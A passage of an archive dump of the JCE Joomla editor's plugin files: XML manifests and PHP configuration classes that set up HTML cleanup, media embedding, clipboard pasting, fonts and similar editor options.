	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Moxiecode / Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_CLEANUP_DESC</description>
	<icon>cleanup</icon>
	<files></files>
	<languages></languages>
	<help></help>
</extension>
 com_jce/editor/plugins/cleanup/config.php000060400000014273152453734450014536 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFCleanupPluginConfig
{
    private static $invalid_elements = array('iframe', 'object', 'param', 'embed', 'audio', 'video', 'source', 'script', 'style', 'applet', 'body', 'bgsound', 'base', 'basefont', 'frame', 'frameset', 'head', 'html', 'id', 'ilayer', 'layer', 'link', 'meta', 'name', 'title', 'xml');

    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        // Encoding
        $settings['entity_encoding'] = $wf->getParam('editor.entity_encoding');

        // keep &nbsp;
        $nbsp = (bool) $wf->getParam('editor.keep_nbsp', 1);

        $settings['keep_nbsp'] = $nbsp;

        // use named encoding with limited entities set if raw/utf-8 and keep_nbsp === true
        if ($settings['entity_encoding'] === 'raw' && $nbsp) {
            $settings['entity_encoding'] = 'named';
            $settings['entities'] = '160,nbsp,173,shy';
        }

        // set "plugin mode"
        $settings['cleanup_pluginmode'] = $wf->getParam('editor.cleanup_pluginmode', 0, 0);

        // get verify html (default is true)
        $settings['verify_html'] = $wf->getParam('editor.verify_html', 1, 1, 'boolean', false);

        // get sanitize html (default is true)
        $settings['sanitize_html'] = $wf->getParam('editor.sanitize_html', 1, 1, 'boolean', false);

        $settings['pad_empty_tags'] = $wf->getParam('editor.pad_empty_tags', 1, 1, 'boolean');

        // set schema
        $settings['schema'] = $wf->getParam('editor.schema', 'mixed', 'mixed');

        if ($settings['schema'] === 'html5') {
            $settings['schema'] = 'html5-strict';
        }

        $settings['validate_styles'] = $wf->getParam('editor.validate_styles', 1, 1, 'boolean', false);

        // Get Extended elements
        $settings['extended_valid_elements'] = self::processValue($wf->getParam('editor.extended_elements', ''));

        // Configuration list of invalid elements as array
        $settings['invalid_elements'] = self::processValue($wf->getParam('editor.invalid_elements', ''));

        // Add elements to invalid list (removed by plugin)
        $settings['invalid_elements'] = self::normalizeList(
            array_merge($settings['invalid_elements'], self::$invalid_elements)
        );

        // process extended_valid_elements
        if ($settings['extended_valid_elements']) {
            $extended_elements = $settings['extended_valid_elements'];

            $elements = array();

            // add wildcard attributes if none specified
            for ($i = 0; $i < count($extended_elements); ++$i) {
                $value = $extended_elements[$i];

                // clean up value
                $value = preg_replace('#[^a-zA-Z0-9_\-\[\]\*@\|\/!=\:\?+\#]#', '', $value);

                $pos = strpos($value, '[');

                if ($pos === false) {
                    $elements[] = $value;
                    $value .= '[*]';
                } else {
                    $elements[] = substr($value, 0, $pos);
                }

                $extended_elements[$i] = $value;
            }

            // restore settings to array
            $settings['extended_valid_elements'] = $extended_elements;

            if (!empty($elements)) {
                $settings['invalid_elements'] = array_diff($settings['invalid_elements'], $elements);
            }
        }

        // Final cleanup + reindex
        $settings['invalid_elements'] = self::normalizeList($settings['invalid_elements']);

        $settings['invalid_attributes'] = self::processValue($wf->getParam('editor.invalid_attributes', 'dynsrc,lowsrc'));
        $settings['invalid_attribute_values'] = self::processValue($wf->getParam('editor.invalid_attribute_values'));

        $allow_script = $wf->getParam('editor.allow_javascript', 0, 0, 'boolean');

        // if scripts are allowed, then allow event attributes
        if ($allow_script || (bool) $wf->getParam('editor.allow_event_attributes')) {
            $settings['allow_event_attributes'] = true;
        }
    }

    private static function normalizeList($values)
    {
        $values = array_map('trim', (array) $values);
        $values = array_filter($values, 'strlen');      // removes '' and whitespace-only
        $values = array_values(array_unique($values));  // reindex + unique
        // optional, but helps stable comparisons:
        // sort($values, SORT_STRING);

        return $values;
    }

    /**
     * Normalise a value or set of values into a flat array.
     *
     * Accepts a string, an array, or a mixed array containing delimited strings,
     * and converts the input into a single, flattened array of trimmed values.
     *
     * Examples:
     * - "one,two"               -> ["one", "two"]
     * - ["one", "two"]          -> ["one", "two"]
     * - ["one", "two,three"]    -> ["one", "two", "three"]
     *
     * Empty values are removed and all values are trimmed.
     *
     * @param  string|array  $values     A delimited string, an array of values,
     *                                   or an array containing delimited strings.
     * @param  string        $seperator  The value separator to split on.
     *
     * @return array                    A flat array of normalised values.
     */
    public static function processValue($values, $seperator = ',')
    {
        if (is_array($values)) {
            $values = array_filter($values, 'trim');

            foreach ($values as $key => $value) {
                $value = trim($value);

                if (is_string($value) && strpos($value, $seperator) !== false) {
                    $values = array_merge($values, explode($seperator, $value));
                    unset($values[$key]);
                }
            }
        } elseif (is_string($values)) {
            $values = explode($seperator, $values);
        } else {
            $values = [];
        }

        $values = array_values(
            array_filter(
                array_map('trim', $values),
                'strlen'
            )
        );

        return $values;
    }
}
com_jce/editor/plugins/index.html000060400000000054152453734450013116 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/code/index.html000060400000000054152453734450014030 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/code/config.php000060400000002645152453734450014021 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFCodePluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        if (!in_array('code', $settings['plugins'])) {
            $settings['plugins'][] = 'code';
        }

        $settings['code_use_blocks'] = $wf->getParam('editor.code_blocks', 1, 1, 'boolean');

        $settings['code_allow_php'] = $wf->getParam('editor.allow_php', 0, 0, 'boolean');
        $settings['code_allow_script'] = $wf->getParam('editor.allow_javascript', 0, 0, 'boolean');
        $settings['code_allow_style'] = $wf->getParam('editor.allow_css', 0, 0, 'boolean');

        $settings['code_protect_shortcode'] = $wf->getParam('editor.protect_shortcode', 0, 0, 'boolean');
        $settings['code_allow_custom_xml'] = $wf->getParam('editor.allow_custom_xml', 0, 0, 'boolean');

        $remove = array();

        // remove as Invalid Elements
        if ($settings['code_allow_script']) {
            $remove[] = 'script';
        }

        if ($settings['code_allow_style']) {
            $remove[] = 'style';
            $remove[] = 'link';
        }

        $settings['invalid_elements'] = array_diff($settings['invalid_elements'], $remove);
    }
}
com_jce/editor/plugins/wordcount/index.html000060400000000054152453734450015142 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/wordcount/config.php000060400000001050152453734450015120 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFWordcountPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();
        $settings['wordcount_limit'] = $wf->getParam('editor.wordcount_limit', 0, 0);
        $settings['wordcount_alert'] = $wf->getParam('editor.wordcount_alert', 0, 0);
    }
}
com_jce/editor/plugins/wordcount/wordcount.xml000060400000001131152453734450015710 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_WORDCOUNT_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_WORDCOUNT_DESC</description>
	<icon></icon>
	<fields></fields>
	<help></help>
	<languages></languages>
</extension>com_jce/editor/plugins/textcase/index.html000060400000000054152453734450014736 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/textcase/textcase.xml000060400000001216152453734450015304 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_TEXTCASE_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_TEXTCASE_DESC</description>
	<icon>textcase</icon>
	<help>
		<topic key="textcase.about" title="WF_TEXTCASE_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/media/index.html000060400000000054152453734450014175 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/media/media.xml000060400000011346152453734450014007 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_MEDIA_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net</authorUrl>
    <copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_MEDIA_DESC</description>
    <icon></icon>
    <fields name="media">
        <fieldset name="config">
            <field name="iframes" type="list" default="0" label="WF_MEDIA_PARAM_IFRAMES" description="WF_MEDIA_PARAM_IFRAMES_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
                <option value="2">WF_MEDIA_PARAM_LOCAL_ONLY</option>
                <option value="3">WF_MEDIA_PARAM_IFRAMES_SUPPORTED_MEDIA</option>
            </field>

            <field type="container" label="WF_MEDIA_IFRAMES_SUPPORTED_MEDIA" class="well well-small p-3 bg-light" description="WF_MEDIA_IFRAMES_SUPPORTED_MEDIA_DESC" showon="iframes:3">

                <field name="iframes_supported_media" type="checkboxes" class="flex-row" default="youtube,vimeo,dailymotion,scribd,slideshare,soundcloud,spotify,ted,twitch,calendly" layout="form.field.checkboxes" hiddenLabel="true" labelclass="hide">
                    <option value="youtube">youtube</option>
                    <option value="vimeo">vimeo</option>
                    <option value="dailymotion">dailymotion</option>
                    <option value="scribd">scribd</option>
                    <option value="slideshare">slideshare</option>
                    <option value="soundcloud">soundcloud</option>
                    <option value="spotify">spotify</option>
                    <option value="ted">ted</option>
                    <option value="twitch">twitch</option>
                    <option value="calendly">calendly</option>
                </field>

                <field type="repeatable" name="iframes_supported_media_custom" default="" label="Custom URL" description="">
                    <field type="text" hiddenLabel="true" size="50" />
                </field>

            </field>

            <field name="iframes_sandbox" type="list" default="1" label="WF_MEDIA_IFRAMES_SANDBOX" description="WF_MEDIA_IFRAMES_SANDBOX_DESC" showon="iframes:1">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field type="repeatable" name="iframes_sandbox_exclusions" default="" label="WF_MEDIA_IFRAMES_SANDBOX_EXCLUSIONS" description="WF_MEDIA_IFRAMES_SANDBOX_EXCLUSIONS_DESC" showon="iframes:1[AND]iframes_sandbox:1">
                <field type="text" hiddenLabel="true" size="100" />
            </field>

            <field name="audio" type="list" default="1" label="WF_MEDIA_PARAM_AUDIO" description="WF_MEDIA_PARAM_AUDIO_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
                <option value="2">WF_MEDIA_PARAM_LOCAL_ONLY</option>
            </field>

            <field name="video" type="list" default="1" label="WF_MEDIA_PARAM_VIDEO" description="WF_MEDIA_PARAM_VIDEO_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
                <option value="2">WF_MEDIA_PARAM_LOCAL_ONLY</option>
            </field>

            <field name="object" type="list" default="0" label="WF_MEDIA_PARAM_OBJECT" description="WF_MEDIA_PARAM_OBJECT_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
                <option value="2">WF_MEDIA_PARAM_LOCAL_ONLY</option>
            </field>

            <field name="embed" type="list" default="0" label="WF_MEDIA_PARAM_EMBED" description="WF_MEDIA_PARAM_EMBED_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
                <option value="2">WF_MEDIA_PARAM_LOCAL_ONLY</option>
            </field>

            <field name="live_embed" type="yesno" default="1" label="WF_MEDIA_PARAM_MEDIA_PREVIEW" description="WF_MEDIA_PARAM_MEDIA_PREVIEW_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="strict_media_embeds" type="yesno" default="1" label="WF_MEDIA_STRICT_MEDIA_EMBEDS" description="WF_MEDIA_STRICT_MEDIA_EMBEDS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
    <languages></languages>
</extension>
com_jce/editor/plugins/media/config.php000060400000007077152453734450014172 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFMediaPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $tags = array();

        $elements = array(
            'audio' => array('audio', 'source'),
            'video' => array('video', 'source'),
            'embed' => array('embed'),
            'object' => array('object', 'param'),
        );

        $allow_iframes = (int) $wf->getParam('media.iframes', 0);

        $iframes_supported_media_custom = array();

        if ($allow_iframes) {
            $tags[] = 'iframe';

            // may be overwritten by mediamanager config - ../mediamanager/config.php
            if ($allow_iframes == 2) {
                $settings['media_iframes_allow_local'] = true;
            }

            if ($allow_iframes == 3) {
                $settings['media_iframes_supported_media'] = array();

                $settings['media_iframes_allow_supported'] = true;

                $iframes_supported_media = $wf->getParam('media.iframes_supported_media', array('youtube', 'vimeo', 'dailymotion', 'scribd', 'slideshare', 'soundcloud', 'spotify', 'ted', 'twitch', 'bandcamp', 'calendly'));

                // get values only
                $iframes_supported_media = array_values($iframes_supported_media);

                $iframes_supported_media_custom = $wf->getParam('media.iframes_supported_media_custom', array());

                // get values only
                if (!empty($iframes_supported_media_custom)) {
                    $iframes_supported_media_custom = array_values($iframes_supported_media_custom);
                }

                $settings['media_iframes_supported_media'] = array_merge($iframes_supported_media, $iframes_supported_media_custom);
            }
        }

        foreach ($elements as $name => $items) {
            $default = 1;

            if ($name == 'object' || $name == 'embed') {
                $default = 0;
            }

            $allowed = (int) $wf->getParam('media.' . $name, $default);

            if ($allowed) {
                $tags = array_merge($tags, $items);

                if ($allowed == 2) {
                    $settings['media_' . $name . '_allow_local'] = true;
                }
            }
        }

        $tags = array_unique(array_values($tags));

        $settings['media_valid_elements'] = array_values($tags);
        $settings['media_live_embed'] = $wf->getParam('media.live_embed', 1);

        $sandbox = (bool) $wf->getParam('media.iframes_sandbox', 1);

        if ($sandbox == false) {
            $settings['media_iframes_sandbox'] = false;
        } else {
            $sandbox_exclusions = $wf->getParam('media.iframes_sandbox_exclusions', []);

            // add custom urls to sandbox exclusions
            if (!empty($iframes_supported_media_custom)) {
                $sandbox_exclusions = array_merge($sandbox_exclusions, $iframes_supported_media_custom);
            }

            if (!empty($sandbox_exclusions)) {
                $settings['media_iframes_sandbox_exclusions'] = $sandbox_exclusions;
            }
        }

        $settings['strict_media_embeds'] = (bool) $wf->getParam('media.strict_media_embeds', 1);

        // allow all elements
        $settings['invalid_elements'] = array_diff($settings['invalid_elements'], array('audio', 'video', 'source', 'embed', 'object', 'param', 'iframe'));
    }
}
com_jce/editor/plugins/clipboard/config.php000060400000004035152453734450015041 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFClipboardPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $mode = $wf->getParam('clipboard.paste_cleanup_mode', 0);

        $settings['paste_force_cleanup'] = true;
        $settings['paste_strip_class_attributes'] = 1;
        $settings['paste_remove_styles'] = true;
        $settings['paste_remove_spans'] = true;
        $settings['paste_remove_styles_if_webkit'] = true;
        $settings['paste_remove_empty_paragraphs'] = true;

        // any cleanup mode will keep the following
        if ($mode) {
            $settings['paste_force_cleanup'] = false; // set to detect so only Word classes are removed
            $settings['paste_strip_class_attributes'] = 2; // Only remove Word classes
        }

        // mode 2 = keep styles (only in Word content)
        if ($mode == 2) {
            $settings['paste_remove_styles'] = false;
            $settings['paste_remove_spans'] = false; // styles are usually applied to spans
        }

        $settings['clipboard_paste_text'] = $wf->getParam('clipboard.paste_text', 1, 1, 'boolean');
        $settings['clipboard_paste_html'] = $wf->getParam('clipboard.paste_html', 1, 1, 'boolean');

        // if paste HTML is disabled, then default to plain text paste
        if ($settings['clipboard_paste_html'] === false) {
            $settings['paste_plain_text'] = true;
            $settings['clipboard_paste_text'] = true;
        }
    }

    private static function cleanStringList($value)
    {
        $value = trim($value);
        $values = explode(',', $value);
        // remove whitespace
        $values = array_map('trim', $values);
        // remove duplicates and emtpy values
        $values = array_unique(array_filter($values));

        return implode(',', $values);
    }
}
com_jce/editor/plugins/clipboard/clipboard.xml000060400000004303152453734450015542 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_CLIPBOARD_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_CLIPBOARD_DESC</description>
    <icon>cut,copy,paste,pastetext</icon>
    <fields name="clipboard">
        <fieldset name="config">
            <field name="paste_cleanup_mode" type="list" default="0" label="WF_PASTE_CLEANUP_MODE" description="WF_PASTE_CLEANUP_MODE_DESC">
                <option value="0">WF_PASTE_CLEANUP_MODE_CLEAN_HTML</option>
                <option value="1">WF_PASTE_CLEANUP_MODE_KEEP_CLASSES</option>
                <option value="2">WF_PASTE_CLEANUP_MODE_KEEP_STYLES</option>
            </field>

            <field name="paste_html" type="yesno" default="1" label="WF_PASTE_PARAM_PASTE_HTML" description="WF_PASTE_PARAM_PASTE_HTML_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="paste_text" type="yesno" default="1" label="WF_PASTE_PARAM_PASTE_TEXT" description="WF_PASTE_PARAM_PASTE_TEXT_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field type="heading" label="WF_PROFILES_PLUGINS_BUTTONS" />

            <field name="buttons" type="buttons" multiple="multiple" default="cut,copy,paste,pastetext" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
                <option value="cut">WF_OPTION_CUT</option>
                <option value="copy">WF_OPTION_COPY</option>
                <option value="paste">WF_OPTION_PASTE</option>
                <option value="pastetext">WF_OPTION_PASTETEXT</option>
            </field>
        </fieldset>
    </fields>
    <help>
        <topic key="clipboard.about" title="WF_CLIPBOARD_HELP_ABOUT" />
    </help>
    <languages></languages>
</extension>com_jce/editor/plugins/clipboard/index.html000060400000000054152453734450015055 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/fontsizeselect/fontsizeselect.xml000060400000001663152453734450017754 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_FONTSIZESELECT_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FONTSIZESELECT_DESC</description>
    <icon>fontselect</icon>
    <fields name="fontsizeselect">
        <fieldset name="config">
            <field name="font_sizes" type="text" size="100" class="input-xlarge" default="" hint="eg: 8pt,10pt,12pt,14pt,18pt,24pt,36pt" label="WF_PARAM_FONT_SIZES" description="WF_PARAM_FONT_SIZES_DESC" />
        </fieldset>
    </fields>
    <help></help>
    <languages></languages>
</extension>com_jce/editor/plugins/fontsizeselect/index.html000060400000000054152453734450016157 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/fontsizeselect/config.php000060400000001051152453734450016136 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFFontsizeselectPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $settings['fontsizeselect_font_sizes'] = $wf->getParam('fontsizeselect.font_sizes', '8pt,10pt,12pt,14pt,18pt,24pt,36pt', '8pt,10pt,12pt,14pt,18pt,24pt,36pt');
    }
}
com_jce/editor/plugins/reference/reference.xml000060400000003023152453734450015536 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_REFERENCE_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_REFERENCE_DESC</description>
    <icon>cite,q,abbr,acronym,del,ins</icon>
    <fields name="reference">
        <fieldset name="config">
            <field name="buttons" type="buttons" multiple="multiple" default="cite,q,abbr,acronym,del,ins" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
                <option value="cite">WF_CITE_TITLE</option>
                <option value="q">WF_Q_TITLE</option>
                <option value="abbr">WF_ABBR_TITLE</option>
                <option value="acronym">WF_ACRONYM_TITLE</option>
                <option value="del">WF_DEL_TITLE</option>
                <option value="ins">WF_INS_TITLE</option>
            </field>

            <field name="datetime_format" type="text" size="100" default="" hint="%Y-%m-%dT%H:%M:%S" label="WF_REFERENCE_DATETIME_FORMAT" description="WF_REFERENCE_DATETIME_FORMAT_DESC" />
        </fieldset>
    </fields>
    <help>
        <topic key="reference.about" title="WF_REFERENCE_HELP_ABOUT" />
    </help>
    <languages></languages>
</extension>com_jce/editor/plugins/reference/index.html000060400000000054152453734450015054 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/reference/config.php000060400000000727152453734450015044 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFReferencePluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $settings['reference_datetime'] = $wf->getParam('reference.datetime_format', '');
    }
}
com_jce/editor/plugins/anchor/index.html000060400000000054152453734450014370 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/anchor/anchor.xml000060400000001160152453734450014366 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_ANCHOR_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_ANCHOR_DESC</description>
	<icon>anchor</icon>
	<layout>anchor</layout>
	<files></files>
	<languages></languages>
	<help></help>
</extension>com_jce/editor/plugins/charmap/charmap.xml000060400000001734152453734450014677 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_CHARMAP_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Moxiecode / Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_CHARMAP_DESC</description>
	<icon>charmap</icon>
	<files></files>
	<fields name="charmap">
		<fieldset name="config">

			<field name="charmap_append" type="keyvalue" default="" label="WF_CHARMAP_APPEND" description="WF_CHARMAP_APPEND_DESC">
				<field type="text" name="name" label="WF_CHARMAP_APPEND_CODE" data-decode="true" />
				<field type="text" name="value" label="WF_CHARMAP_APPEND_TEXT" />
			</field>

		</fieldset>
	</fields>
	<languages></languages>
	<help></help>
</extension>
 com_jce/editor/plugins/charmap/config.php000060400000001645152453734450014521 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFCharmapPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $append = $wf->getParam('charmap.charmap_append', array());

        if (!empty($append)) {
            $values = array();

            foreach ($append as $item) {
                $item = (object) $item;

                // invalid values
                if (empty($item->name) || empty($item->value)) {
                    continue;
                }

                $item->name = html_entity_decode($item->name);
                $values[$item->name] = $item->value;
            }

            $settings['charmap_append'] = $values;
        }
    }
}
com_jce/editor/plugins/charmap/index.html000060400000000054152453734450014531 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/fontselect/fontselect.xml000060400000001514152453734450016161 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_FONTSELECT_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FONTSELECT_DESC</description>
    <icon>fontselect</icon>
    <fields name="fontselect">
        <fieldset name="config">
            <field name="fonts" type="fonts" default="" label="WF_PARAM_FONTS" description="WF_PARAM_FONTS_DESC" />
        </fieldset>
    </fields>
    <help></help>
    <languages></languages>
</extension>com_jce/editor/plugins/fontselect/index.html000060400000000054152453734450015264 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/fontselect/config.php000060400000006422152453734450015252 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFFontselectPluginConfig
{
    protected static $fonts = array('Andale Mono=andale mono,times', 'Arial=arial,helvetica,sans-serif', 'Arial Black=arial black,avant garde', 'Book Antiqua=book antiqua,palatino', 'Comic Sans MS=comic sans ms,sans-serif', 'Courier New=courier new,courier', 'Georgia=georgia,palatino', 'Helvetica=helvetica', 'Impact=impact,chicago', 'Symbol=symbol', 'Tahoma=tahoma,arial,helvetica,sans-serif', 'Terminal=terminal,monaco', 'Times New Roman=times new roman,times', 'Trebuchet MS=trebuchet ms,geneva', 'Verdana=verdana,geneva', 'Webdings=webdings', 'Wingdings=wingdings,zapf dingbats');

    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $settings['fontselect_fonts'] = self::getFonts();
    }

    /**
     * Get a list of editor font families.
     *
     * @return string font family list
     *
     * @param string $add    Font family to add
     * @param string $remove Font family to remove
     */
    protected static function getFonts()
    {
        $wf = WFApplication::getInstance();

        $fonts = $wf->getParam('fontselect.fonts');

        // decode string
        if (is_string($fonts)) {
            $fonts = htmlspecialchars_decode($fonts);
        }

        // map for new format, where fonts are saved as an array of an associative array, eg: [['Andale Mono' => 'andale mono,times', 'Arial' => 'arial,helvetica,sans-serif']]
        if (is_array($fonts)) {
            $values = $fonts;

            // reset array
            $fonts = array();

            // map associative array to array of key value pairs
            foreach ($values as $key => $value) {
                if (is_numeric($key) && is_array($value)) {
                    $fonts = array_merge($fonts, $value);
                } else {
                    $fonts = array_merge($fonts, array($key => $value));
                }
            }
        }

        // get fonts using legacy parameters
        if (empty($fonts)) {
            $fonts = self::$fonts;

            $add = $wf->getParam('editor.theme_advanced_fonts_add');
            $remove = $wf->getParam('editor.theme_advanced_fonts_remove');

            if (empty($remove) && empty($add)) {
                return '';
            }

            $remove = preg_split('/[;,]+/', $remove);

            if (count($remove)) {
                foreach ($fonts as $key => $value) {
                    foreach ($remove as $gone) {
                        if ($gone && preg_match('/^' . $gone . '=/i', $value)) {
                            // Remove family
                            unset($fonts[$key]);
                        }
                    }
                }
            }

            foreach (explode(';', $add) as $new) {
                // Add new font family
